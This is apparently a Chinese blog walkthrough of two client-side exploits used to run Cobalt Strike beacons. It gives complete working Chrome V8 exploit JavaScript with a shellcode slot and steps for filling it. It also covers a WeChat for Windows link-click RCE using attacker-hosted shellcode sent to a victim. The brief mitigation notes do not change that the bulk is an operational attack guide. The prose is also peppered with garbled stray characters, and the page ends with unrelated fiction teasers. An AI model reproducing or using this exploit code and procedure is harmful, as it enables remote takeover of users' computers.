chrome上線cs & wx上線

image

一友酱、 Chrome漏洞上線cs

參考:https://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew

1糙及、使用以下腳本,保存為chrome.html格式

<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = [];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>

2惋戏、打開(kāi)cobaltstrike,設(shè)置一個(gè)監(jiān)聽(tīng)http或https的都可以https的相對(duì)穩(wěn)定,這里使用http

image
image.png

3垛贤、使用cs生成payload,監(jiān)聽(tīng)器選擇上一步生成的趣倾,輸出選擇C聘惦,然后勾選上X64 payload。

image
image

4儒恋、打開(kāi)生成的payload取出 shellcode 部分 使用全局替換功能將“”為改為 “,0”善绎。

image

5黔漂、將替換好的shellcode拿出來(lái)放入到chrome.html中的shellcode中

image

6、在桌面Google快捷方式中右鍵屬性在“目標(biāo)”處加上--no-sandbox參數(shù)關(guān)閉沙箱

image.png

7禀酱、在google中打開(kāi)chrome.html文件炬守,可以看到cs成功上線。

image
image

成功上線

image

8剂跟、臨時(shí)修復(fù)方案:

①减途、建議不要點(diǎn)擊別人發(fā)送的快捷方式

②、不要開(kāi)啟Google沙箱

二曹洽、WX上線CS

0x01漏洞介紹

攻擊者可以通過(guò)微信發(fā)送一個(gè)特制的web鏈接观蜗,用戶一旦點(diǎn)擊鏈接,Windows版微信便會(huì)加載執(zhí)行攻擊者構(gòu)造惡意代碼衣洁,最終使攻擊者控制用戶PC墓捻。

攻擊者可以利用此漏洞執(zhí)行任意代碼,控制用戶PC坊夫,存在極大的危害砖第。

0x02影響版本

Windows版微信: 小于等于3.2.1.141版本

0x03漏洞復(fù)現(xiàn)

1、搭建cs环凿,設(shè)置一個(gè)http或https的監(jiān)聽(tīng)器

image

2梧兼、生成payload,選擇上一步的監(jiān)聽(tīng)器智听,輸出選擇C#羽杰,我這里就不勾選x64了,點(diǎn)擊生成到推,將生成的文件保存到桌面考赛。

image.png
image

3、使用兩個(gè)腳本莉测,修改color.js中的shellcode為cs生成的shellcode

image
image

4颜骤、然后搭建一個(gè)http服務(wù)器可以使用python開(kāi)啟也可以直接使用apache,然后發(fā)送到微信上點(diǎn)擊捣卤,cs上線成功

image.png
image
image.png

查看cs成功上線

image

5忍抽、查看本次復(fù)現(xiàn)wx版本

image

6、修復(fù)建議:

①董朝、將Windows版本微信更新到3.2.1.141以上的最新版本鸠项。

②、建議不要亂點(diǎn)別人發(fā)送的鏈接子姜。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末祟绊,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌久免,老刑警劉巖浅辙,帶你破解...
    沈念sama閱讀 218,755評(píng)論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異阎姥,居然都是意外死亡记舆,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,305評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén)呼巴,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)泽腮,“玉大人,你說(shuō)我怎么就攤上這事衣赶≌锷蓿” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 165,138評(píng)論 0 355
  • 文/不壞的土叔 我叫張陵府瞄,是天一觀的道長(zhǎng)碧磅。 經(jīng)常有香客問(wèn)我,道長(zhǎng)遵馆,這世上最難降的妖魔是什么鲸郊? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,791評(píng)論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮货邓,結(jié)果婚禮上秆撮,老公的妹妹穿的比我還像新娘。我一直安慰自己换况,他們只是感情好职辨,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,794評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著戈二,像睡著了一般舒裤。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上挽拂,一...
    開(kāi)封第一講書(shū)人閱讀 51,631評(píng)論 1 305
  • 那天惭每,我揣著相機(jī)與錄音,去河邊找鬼亏栈。 笑死,一個(gè)胖子當(dāng)著我的面吹牛宏赘,可吹牛的內(nèi)容都是我干的绒北。 我是一名探鬼主播,決...
    沈念sama閱讀 40,362評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼察署,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼闷游!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 39,264評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤脐往,失蹤者是張志新(化名)和其女友劉穎休吠,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體业簿,經(jīng)...
    沈念sama閱讀 45,724評(píng)論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡瘤礁,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,900評(píng)論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了梅尤。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片柜思。...
    茶點(diǎn)故事閱讀 40,040評(píng)論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖巷燥,靈堂內(nèi)的尸體忽然破棺而出赡盘,到底是詐尸還是另有隱情,我是刑警寧澤缰揪,帶...
    沈念sama閱讀 35,742評(píng)論 5 346
  • 正文 年R本政府宣布陨享,位于F島的核電站,受9級(jí)特大地震影響钝腺,放射性物質(zhì)發(fā)生泄漏抛姑。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,364評(píng)論 3 330
  • 文/蒙蒙 一拍屑、第九天 我趴在偏房一處隱蔽的房頂上張望途戒。 院中可真熱鬧,春花似錦僵驰、人聲如沸喷斋。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,944評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)星爪。三九已至,卻和暖如春粉私,著一層夾襖步出監(jiān)牢的瞬間顽腾,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,060評(píng)論 1 270
  • 我被黑心中介騙來(lái)泰國(guó)打工诺核, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留抄肖,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,247評(píng)論 3 371
  • 正文 我出身青樓窖杀,卻偏偏與公主長(zhǎng)得像漓摩,于是被迫代替她去往敵國(guó)和親移剪。 傳聞我的和親對(duì)象是個(gè)殘疾皇子串塑,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,979評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容